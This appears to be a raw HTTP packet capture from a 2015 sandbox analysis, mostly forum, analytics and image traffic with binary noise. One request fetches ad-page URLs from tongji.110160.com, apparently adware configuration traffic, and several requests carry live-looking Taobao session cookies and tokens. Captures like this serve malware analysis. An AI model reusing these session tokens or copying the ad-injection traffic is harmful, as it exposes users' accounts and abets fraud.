,0]..X-Cache: MISS TCP_REFRESH_MISS dirn:-2:-2..X-Swift-SaveTime: Tue,
 26 May 2015 09:33:40 GMT..X-Swift-CacheTime: 900..!function(){var p,q
,r,a=encodeURIComponent,b="1255080332",c="",d="",e="online_v3.php",f="
z4.cnzz.com",g="1",h="text",i="z",j="站长统计"
,k=window["_CNZZDbridge_" b].bobject,l="http:",m="0",n=l "//online.cnz
z.com/online/" e,o=[];o.push("id=" b),o.push("h=" f),o.push("on=" 
<<< skipped >>>

GET /9.gif?abc=1&rnd=385164926 HTTP/1.1

Accept: */*

Referer: hXXp://tongji.110160.com/will.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cnzz.mmstat.com

Connection: Keep-Alive

HTTP/1.1 302 Found

Server: Tengine

Date: Tue, 26 May 2015 09:33:41 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"

Set-Cookie: cna=9SvrDV4lMC8CAcGK9OfYORML; expires=Fri, 23-May-25 09:33:41 GMT; path=/; domain=.mmstat.com

Set-Cookie: sca=4831cae3; path=/; domain=.cnzz.mmstat.com

Set-Cookie: atpsida=36ced3b18acb9d128980a511_1432632821; expires=Fri, 23-May-25 09:33:41 GMT; path=/; domain=.cnzz.mmstat.com

Location: hXXp://pcookie.cnzz.com/app.gif?&cna=9SvrDV4lMC8CAcGK9OfYORML

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Pragma: no-cache
GIF89a.............!.......,...........L..;HTTP/1.1 302 Found..Server:
 Tengine..Date: Tue, 26 May 2015 09:33:41 GMT..Content-Type: image/gif
..Content-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CUR
a ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: cna=9SvrDV4lMC
8CAcGK9OfYORML; expires=Fri, 23-May-25 09:33:41 GMT; path=/; domain=.m
mstat.com..Set-Cookie: sca=4831cae3; path=/; domain=.cnzz.mmstat.com..
Set-Cookie: atpsida=36ced3b18acb9d128980a511_1432632821; expires=Fri, 
23-May-25 09:33:41 GMT; path=/; domain=.cnzz.mmstat.com..Location: htt
p://pcookie.cnzz.com/app.gif?&cna=9SvrDV4lMC8CAcGK9OfYORML..Expires: T
hu, 01 Jan 1970 00:00:01 GMT..Cache-Control: no-cache..Pragma: no-cach
e..GIF89a.............!.......,...........L..;..

GET /app.gif?&cna=9SvrDV4lMC8CAcGK9OfYORML HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: pcookie.taobao.com

Connection: Keep-Alive

Cookie: miid=6216058077302220546; v=0; cookie2=1c4d8f9018aee03724324a27920e3f42; t=d78120b38c239d92086394a246a73a12; _tb_token_=vZG8VnM7Ro; isg=68203CB30E7CF6E79072B1827B4164FD; l=AuXl0fhsq/5ctG04V3rEqKWqta0fIpm0; uc1=cookie14=UoW0EPvwFmMjGQ==

HTTP/1.1 200 OK

Server: Tengine

Date: Tue, 26 May 2015 09:34:02 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"

Set-Cookie: cna=9SvrDV4lMC8CAcGK9OfYORML; expires=Fri, 23-May-25 09:34:02 GMT; path=/; domain=.taobao.com

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Pragma: no-cache
GIF89a.............!.......,...........L..;HTTP/1.1 200 OK..Server: Te
ngine..Date: Tue, 26 May 2015 09:34:02 GMT..Content-Type: image/gif..C
ontent-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CURa A
DMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: cna=9SvrDV4lMC8CA
cGK9OfYORML; expires=Fri, 23-May-25 09:34:02 GMT; path=/; domain=.taob
ao.com..Expires: Thu, 01 Jan 1970 00:00:01 GMT..Cache-Control: no-cach
e..Pragma: no-cache..GIF89a.............!.......,...........L..;..

GET /post-186282-27-1.shtml HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: bbs.tianya.cn

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: ATS/3.2.4

Date: Tue, 26 May 2015 09:23:26 GMT

Content-Type: text/html; charset=UTF-8

Vary: Accept-Encoding

Age: 614

Content-Length: 36000

Connection: close

Via: http/1.1 bbs_tianya_101 (ApacheTrafficServer/3.2.4 [cHs f ])
..<!DOCTYPE HTML>..<html>..<head>..<meta charset=
"utf-8">..<title>...............18..._.......................
................_.................._............</title>..<me
ta name="description" content="...............18..._..................
...........................:............,..................,..........
........,........................,............18...,............18....
.....,............18.....................,............18..............
............................,..................BD......,..............
..........,........................,..................................
.............." />..<meta http-equiv="X-UA-Compatible" content="
IE=EmulateIE9" />..<meta name="author" content="cntic255">..&
lt;meta http-equiv="mobile-agent" content="format=xhtml; url=hXXp://m.
tianya.cn/bbs/art.jsp?item=186282&id=27" />..<link href="hXXp://
static.tianyaui.com/global/ty/TY.css" rel="stylesheet" type="text/css"
 />..<link href="hXXp://static.tianyaui.com/global/bbs/web/stati
c/css/bbs_article_51018f9.css" rel="stylesheet" type="text/css" />.
.<link rel="shortcut icon" href="hXXp://static.tianyaui.com/favicon
.ico" type="image/vnd.microsoft.icon" />..<script type="text/jav
ascript">..var bbsGlobal = {...isEhomeItem : false,...isNewArticle 
: true,...authorId : "74757330",...authorName : "cntic255", ...blockty
pe : "......",...itemType : "......",...laibaType : "......",  ...page
 : "1",...permission : true,...permissionStatus : "......",...item
<<< skipped >>>

GET /global/bbs/web/static/images/bbs_ico_b07b5b8.png HTTP/1.1

Accept: */*

Referer: hXXp://bbs.tianya.cn/post-186282-27-1.shtml

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: static.tianyaui.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.1

Date: Tue, 26 May 2015 09:33:45 GMT

Content-Type: image/png

Content-Length: 23630

Last-Modified: Wed, 08 Apr 2015 01:52:27 GMT

Connection: keep-alive

ETag: "552489db-5c4e"

Expires: Thu, 25 Jun 2015 09:33:45 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
.PNG........IHDR...x...<.......6G...9iCCPPhotoshop ICC profile..H..
.wTT.....wz..0..z..0... [email protected]!(.`.H.Pb0...dF
.J|yy........g.s..{....$O../... .'..z8.W.G.....x....0Y...A..@$/7.z....
....H..e..O...O..T...._..lN:K.."N.....3"..$..F../JP.rb.[...}..Q..d.[..
.S..l1..x{..#b.G...\N..o.X3I....[ql2.....$..8.x.......t..r.p../8...p..
.C...f..q....K.njm..{r2.8...?.......)..L^6..g.,.qm.."[.Z[Z....~Q....7%
.."....3.......R..`..j...[.~.:.. w....!.$E}k...yh.y...Rm..333.........
.:..}.=#.v......e...tq.X)I)B>==......<..8...X.....9<QD.h...8Q
.yl.....sy....0.OZ.k.(...5..H.....>.....yP............:.8......p...
.......Lg....k.k....$.......t.!0.V..8.7....`[email protected]..
A#h.'@.8.....:.....`....`......a!2D..!UH.2.. .d..A>P ..ECq...B.....
*.*.Z....:.]..B..=h...~....L...2...........5p.......N..........:|.....
[email protected]......!.H,.G6 .H9R.. ]H/r..A..w(......Q.(OT...JCm@..*QGQ....-.
(j...MF ...6h/.*t.:.]..G7.....w...7......Xa<1....:L1....s.3....b.Xy
......eb....~.1.9. v...G....p....... .5....q..y..^.o........|=....?..'
H.t.v.`B.a3...B.DxHxE$......"...XA<N.B.%.#...I..H....t.t.t...L&k...
.d.y'..|....V."a$.%...(Q%..1(.B./.%.$.V2G.\.....i)......Sj.T..).a.Yi..
...t.t.t..U.I.......[&_...E.1.B...PX.-.z.%.8.C..zQ..E.o....Y..e...Y.U.
gdGh.M..EK...N..h..(/qZ.Y.cI...%sr.r.r..B.V.;r....n.....;..)......2..*
\R.V.*.*....O(.W.......).V.S.UVQ.PNU..|QyZ......R.rVeJ..j..U-S=....Kw.
'. .=..5%5O5.Z.Z.....z.z.z..#...C#V.L.[cFSU.W3W.Y...^.....O.WkN[G;L{.v
.......N.N..C]...n.n..m=..C/Q...M}X.B?^.J...l`i.58`0....z)oi..aC..
<<< skipped >>>

GET /gamify/broadcast/js/core.js?v=20150521 HTTP/1.1

Accept: */*

Referer: hXXp://bbs.tianya.cn/post-186282-27-1.shtml

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: static.tianyaui.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.1

Date: Tue, 26 May 2015 09:33:48 GMT

Content-Type: application/x-javascript

Last-Modified: Mon, 25 May 2015 10:02:41 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Tue, 26 May 2015 15:33:48 GMT

Cache-Control: max-age=21600

Content-Encoding: gzip
776.............W_o.........A..d{....F.....z..6@Q$..")..,i%:...w..%9N.
^..b....p..fL.U!.....M.=..N7.2..p.S."u.c..Re2..._.....s./..>.9e<
W...-.w...=eM.y=..].8...^........Tm.....p...O.<'..o.. ]Ni\ .x1.B.P.
.......5.V.&f.V...U......H<.T9...I./(..H`1... ...E.1K..._.%..7.].~.
......>e)VKU.7c.*..o......o.7ZxF.....'.....N.....;.f..[.O.?.}.k....
......B<....^....e...Cx....o..Ah...w..I..7....V.ue.|...E...}.g.@0..
x,.yLN~.&..rMf..tr,|E.S:..n'....T."...)z1.g...H....>...........t...
q....%S`....vT...<.f..?~h..2..=.?...|.-.c/.P_7.........Dw......Q...
...?..{[...1..M\.z..../..$!N...CCH.(N..../...J.r.....&S. ).U.x.z.2....
......"N..t.....U....t....Q.....f......A.....T.....;...<..."S.p.Jn.
..,p.Q..8n.^g.n....IN..-.h.n~...5v..j.....;T .. ..7.i......,s..C......
[>..._-...n., ..J.....A..6.Xw..=.{.*R.!.1.......".O'q....=..$r...."
)_.iq.3....u.....#H7....*J...OA.....:5.V...4Y.;5v..'.Q:.....b<.<
.) 8.}w.....[2n.[...bP.=......S..M.(."[email protected]@{..Ty............E..s;.^
EV...A.X..m....8..w...Z........RP.>........*.P.../......W.*.B......
8..NR.1\7.X.!..?P.ut.P..a....*..K]X.. ..s...6......B...u..m..4:....^l.
.i.{&vN.....C....'/....G......h..B1.....[ .....~..C....F...7I..a.1.W..
0.MD.."f.1..1...7q.5.0...>$.b..M>.&.........vw.e.........$R.q..l
.....s<....(G...Ne....2.x.M..C..t....F.#....z.M..(|H ...D-M-@K... =
..%...'.`......H.......#/c...7./R_/y....<<...l.V....U05ZC....D.G
.CH...F#L'.. k..4]. ..i...:......A.-..*.Jt..3.M..,......E$....au.N...H
S;.%.0.P..O..)6.....B......_.`..'.'.........s$/Y...e...le..e.%...{
<<< skipped >>>

GET /gamify/broadcast/js/1001/play.ebook.top.js?v=150525 HTTP/1.1

Accept: */*

Referer: hXXp://bbs.tianya.cn/post-186282-27-1.shtml

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: static.tianyaui.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.1

Date: Tue, 26 May 2015 09:33:48 GMT

Content-Type: application/x-javascript

Last-Modified: Mon, 25 May 2015 03:34:16 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Tue, 26 May 2015 15:33:48 GMT

Cache-Control: max-age=21600

Content-Encoding: gzip
479.............W_.#E...O.{ao...L2.=...........OKOw'.d2=L..n..|9N....d
....EA.../...'[email protected].%.....b\.X.....%5.........A.
..S.J.4.S.t;...Y`.lS........}...vJ.....H..j...3..eH..]Q6:xkk.7..X.....
...!S...z..v...........^.|....x-....&>v$..!...|...Z ..D.....R:...=.
.j..`o.gd..j8DB........... .=.Vf.w...t.5.-1.#.P...Y...Aw..a.P.1.$...%y
....i....k.....4.w...-.@m...%...R.R.H..%}*}p..(........`....~.........
._>.8.z.....3.UoP.'....,g......d.F.R...T...Y ...NOk.....?..!...T...
.]rip.T.x....v...G...uu.iTZ......AW....'./~..B&<.w ..,..P.P...AGHm.
....b..q...!..8...)p.b.V'K..2E..". ..`$.Jpc..D.Z$k.@~...._.W.*...-ho..
XSF....dp...V....k...y...L.:.8...s.N&.AqL#b......0_;t...4.R.q.s5....U=
.Rwf......}/.w..,....i~X.o.%.....i........#_....s.......m7*.4z....G/.@
...A@....'..N@...'<VD.jJ...e..e.o..qc.qC]...{%rs.q.....c.4....H...U
.....s...I....1.....k....k.y.-..@]. d..".......4.._}e.Q...Q..2.n..Q...
..n...,..~..n._......5h..m{p.....;..S.L.@..>.[.$6.[6..[[.......8...
@-.U.....@..]W...L...E..2....!.PX'..[...c.Pg(.....uZj..GK/.lp.C.h..6o.
[email protected].[=..&.V.E........V..NG=c..:[email protected]
d{f.........}.9..$.wF........:f...../K)........0......


GET /global/dashang/css/core.css HTTP/1.1

Accept: */*

Referer: hXXp://bbs.tianya.cn/post-186282-27-1.shtml

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: static.tianyaui.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.1

Date: Tue, 26 May 2015 09:33:49 GMT

Content-Type: text/css

Content-Length: 535

Last-Modified: Tue, 21 Apr 2015 04:56:21 GMT

Connection: keep-alive

ETag: "5535d875-217"

Expires: Tue, 26 May 2015 15:33:49 GMT

Cache-Control: max-age=21600

Accept-Ranges: bytes
.tyds_dlg_hd{height:38px;position:relative;top:0;left:0;background:#ed
eded;}.tyds_dlg_hd h2{font-family:"............",Arial,Helvetica;font-
size:20px;font-weight:400;padding-left:10px;line-height:36px;color:#44
4;}.tyds_dlg_hd a.icoClose{position:absolute;top:3px;right:5px;display
:block;width:30px;height:30px;background:url("hXXp://static.tianyaui.c
om/global/dashang/win_v4/images/ico_close_gray.gif") no-repeat 50% 50%
;}.tyds_dlg_hd a.icoClose strong{visibility:hidden;}.tyds_dlg_bd{clear
:both;}.tyds_dlg_fd{display:none;clear:both;}....


GET /gamify/broadcast/img/1001/sm/ico_close.png HTTP/1.1

Accept: */*

Referer: hXXp://bbs.tianya.cn/post-186282-27-1.shtml

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: static.tianyaui.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.1

Date: Tue, 26 May 2015 09:33:49 GMT

Content-Type: image/png

Content-Length: 1422

Last-Modified: Thu, 23 Apr 2015 06:47:09 GMT

Connection: keep-alive

ETag: "5538956d-58e"

Expires: Thu, 25 Jun 2015 09:33:49 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
.PNG........IHDR...............l;....tEXtSoftware.Adobe ImageReadyq.e&
lt;...&iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CC 2014 (Windows)" xmpMM:InstanceID="xmp.iid:6CA58A21E7FB11E4ACF2
E3F9F5EB0606" xmpMM:DocumentID="xmp.did:6CA58A22E7FB11E4ACF2E3F9F5EB06
06"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6CA58A1FE7FB11
E4ACF2E3F9F5EB0606" stRef:documentID="xmp.did:6CA58A20E7FB11E4ACF2E3F9
F5EB0606"/> </rdf:Description> </rdf:RDF> </x:xmpmet
a> <?xpacket end="r"?>.. D....IDATx..../DA......E.....J4.V.G.
..... [email protected].#.#..(<..Z.w.l.{.,'..{g...33..qv...c...4.uCuP.
:...&..=..v..c..4..K.=B.."[email protected].!E%. .&
gt;.5.#...OBq.m.;........9.6..|.x\.<p%4...p.s...^`>...j]..1....R
%U.G...r..(o7.....s../c.#k.........j.g....1h..ro#.'.hU.....v...:...3.V
..w.."... (-..p.u........ [Iq..........k..m..=....M........A.A.J..-...
.c].......je...|.l2.d.B.%...:..2.0..u.d....t.pBYy..[.P.. ..}..7..6.a..
/t.A...c@/.!...~...W}U...{..W.......kG....T....3/.Q6.u...q.P.,)h..2..`
.d...,.......IEND.B`.....
<<< skipped >>>

GET /gamify/broadcast/img/1001/ebook/title_month.png HTTP/1.1

Accept: */*

Referer: hXXp://bbs.tianya.cn/post-186282-27-1.shtml

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: static.tianyaui.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.1

Date: Tue, 26 May 2015 09:33:50 GMT

Content-Type: image/png

Content-Length: 904

Last-Modified: Mon, 25 May 2015 03:34:07 GMT

Connection: keep-alive

ETag: "5562982f-388"

Expires: Thu, 25 Jun 2015 09:33:50 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
.PNG........IHDR.......".....=)......tEXtSoftware.Adobe ImageReadyq.e&
lt;...*IDATx....k.`...n..[....E..:d.........aW.]......d..........Ap.D.
....2..A...h..g...{k.&..&....J.......}.'.i.Ff.S..P{....=X.. .........`
.@0.............'....h.... ....GH.;.....m..$...!-.N..Q0yi.r R....$H.}O
.W.I..h.;..M...u...-/LQ.Sj.,.....4..V.. f;..pN(..(.|........|[...d....
.^.4..~..B..Y.v.K.\..*..IR..4.......2/.e.. .....f......).n?..t.`Fy..f.
:..H%.....C...r..{.r6C..a....*.t...Q....>."... .9Q..Q..8i.^T...=..B
.'q2..*{1=.v.bbo..E..~D. .....I8!.....F..ly...;.I..DE....n..R."....s..
f.I.m......>.@...$..\......&V......H...&..\..o.."._ ...B....R.....=
.....q..H/Z..K1*|.Q..QT.p...Q0.rVr.........k...._,......1...tc...IT..L
...\.L...k!.2.>....I.......N..~9.K.-b.m".h./..R..T...:@.4<..d..7
...>..i..2...cw.......E.ng.$.O.I..~...8.8.0....#.ka....}X.........S
X...`K.P:.2..?.`u.h....`....x#.A2........`......d.x,....."....I.c.._S 
....IEND.B`.....


GET /gamify/broadcast/img/1001/ebook/book_1.png HTTP/1.1

Accept: */*

Referer: hXXp://bbs.tianya.cn/post-186282-27-1.shtml

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: static.tianyaui.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.1

Date: Tue, 26 May 2015 09:33:50 GMT

Content-Type: image/png

Content-Length: 2362

Last-Modified: Mon, 25 May 2015 03:34:06 GMT

Connection: keep-alive

ETag: "5562982e-93a"

Expires: Thu, 25 Jun 2015 09:33:50 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
.PNG........IHDR...#...,.............tEXtSoftware.Adobe ImageReadyq.e&
lt;...&iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CC 2014 (Windows)" xmpMM:InstanceID="xmp.iid:2081BC11F77F11E4B543
BCC8F2A67FF4" xmpMM:DocumentID="xmp.did:2081BC12F77F11E4B543BCC8F2A67F
F4"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2081BC0FF77F11
E4B543BCC8F2A67FF4" stRef:documentID="xmp.did:2081BC10F77F11E4B543BCC8
F2A67FF4"/> </rdf:Description> </rdf:RDF> </x:xmpmet
a> <?xpacket end="r"?>.qN.....IDATx...[..e...7.....&.[.[..mu}
. (}./>."J ..X.)>)..o"".C.......}..^D..v[l.].d...&...m2..d2.g..K
g.Z....I...7.;......x.....B....dJ.E..lj.n.L.Yu..X../.........V......'.
:..............v....X]]...e=..5.....ah.a.m.^..{.P.Mo4..)...}.0.^>..
..O....z..k.k...;..\[email protected]..][email protected]...,@*..t&.. .3L4.
...(................~....| ..QC ..Z.PKj.n./....P(x..._....9.....{...M[
h.... (.T........$..}Z....3c...@(...m.?u.....KzC?...os.....|...wg.|.k.
..........{..-.6r@...<s.F.MK1.Tp..pP.@.$.I.`..4.mzZL.R.F.D".......=
g.=..7_.?v...wpi.][email protected]@...W.FS>.(.3.....V.).=1...nfA.p..Z..4.
<<< skipped >>>

GET /gamify/broadcast/img/1001/ebook/book_2.png HTTP/1.1

Accept: */*

Referer: hXXp://bbs.tianya.cn/post-186282-27-1.shtml

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: static.tianyaui.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.1

Date: Tue, 26 May 2015 09:33:50 GMT

Content-Type: image/png

Content-Length: 4477

Last-Modified: Mon, 25 May 2015 03:34:07 GMT

Connection: keep-alive

ETag: "5562982f-117d"

Expires: Thu, 25 Jun 2015 09:33:50 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
.PNG........IHDR...D.................pHYs................MiCCPPhotosho
p ICC profile..x..SwX...>..e.VB....l.."#[email protected]..
..H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.
. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....
ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v
.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."
...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[
..V.h..][email protected].<......%b..0..>[email protected].@...
...qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N.
...l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A......
........a.D@.$.<.B........A.T.:.............18....\..p..`........A.
..a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u
@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v..
..a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._
.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R..
.J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.
......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.
y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.
rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...
b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6.
.l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......
)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V
<<< skipped >>>

GET /paramfile/navweb.txt HTTP/1.1

Host: tongji.110160.com

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/5.0

HTTP/1.1 200 OK

Content-Length: 57

Content-Type: text/plain

Last-Modified: Tue, 26 May 2015 03:53:33 GMT

Accept-Ranges: bytes

ETag: "f06d6896797d01:1012"

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Date: Tue, 26 May 2015 09:33:36 GMT
hXXp://jc.110160.com/ad.htm..hXXp://jc.110160.com/ad2.htmHTTP/1.1 200 
OK..Content-Length: 57..Content-Type: text/plain..Last-Modified: Tue, 
26 May 2015 03:53:33 GMT..Accept-Ranges: bytes..ETag: "f06d6896797d01:
1012"..Server: Microsoft-IIS/6.0..X-Powered-By: ASP.NET..Date: Tue, 26
 May 2015 09:33:36 GMT..hXXp://jc.110160.com/ad.htm..hXXp://jc.110160.
com/ad2.htm..

GET /json/collect_mark.htm?_ksTS=1432632835641_78&callback=jsonp79 HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: dskip.ju.taobao.com

Connection: Keep-Alive

Cookie: miid=6216058077302220546; v=0; cookie2=1c4d8f9018aee03724324a27920e3f42; t=d78120b38c239d92086394a246a73a12; _tb_token_=vZG8VnM7Ro; bid=9; jc=shanghai

HTTP/1.1 200 OK

Server: Tengine

Content-Type: text/html;charset=GBK

Transfer-Encoding: chunked

Connection: keep-alive

Date: Tue, 26 May 2015 09:33:55 GMT

Vary: Accept-Encoding

Server-Num: judetail010179138135.s.et2

S: STATUS_NORMAL

Pragma: no-cache

Cache-Control: no-cache

Set-Cookie: uc1=cookie14=UoW0EPvwFmMjGQ==; Domain=.taobao.com; Path=/

Set-Cookie: cookie2=1c4d8f9018aee03724324a27920e3f42;Domain=.taobao.com;Path=/;HttpOnly

Set-Cookie: t=d78120b38c239d92086394a246a73a12; Domain=.taobao.com; Expires=Mon, 24-Aug-2015 09:33:55 GMT; Path=/

P3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR'

Content-Language: zh-CN

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Via: wagbridge010181172166.s.et2[web], bcache2.es1[362,0]

Set-Cookie: bid=9; Domain=ju.taobao.com; Path=/; Expires=Wed, 12-Oct-2050 02:50:13 GMT

Content-Encoding: gzip
4b.................*.. 0.....R.............% ....Xf.O~zf.P -1.8.....K.
..V .=.....0..HTTP/1.1 200 OK..Server: Tengine..Content-Type: text/htm
l;charset=GBK..Transfer-Encoding: chunked..Connection: keep-alive..Dat
e: Tue, 26 May 2015 09:33:55 GMT..Vary: Accept-Encoding..Server-Num: j
udetail010179138135.s.et2..S: STATUS_NORMAL..Pragma: no-cache..Cache-C
ontrol: no-cache..Set-Cookie: uc1=cookie14=UoW0EPvwFmMjGQ==; Domai
n=.taobao.com; Path=/..Set-Cookie: cookie2=1c4d8f9018aee03724324a27920
e3f42;Domain=.taobao.com;Path=/;HttpOnly..Set-Cookie: t=d78120b38c239d
92086394a246a73a12; Domain=.taobao.com; Expires=Mon, 24-Aug-2015 09:33
:55 GMT; Path=/..P3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT
 DEM STA PRE COM NAV OTC NOI DSP COR'..Content-Language: zh-CN..Expire
s: Thu, 01 Jan 1970 00:00:01 GMT..Via: wagbridge010181172166.s.et2[web
], bcache2.es1[362,0]..Set-Cookie: bid=9; Domain=ju.taobao.com; Path=/
; Expires=Wed, 12-Oct-2050 02:50:13 GMT..Content-Encoding: gzip..4b...
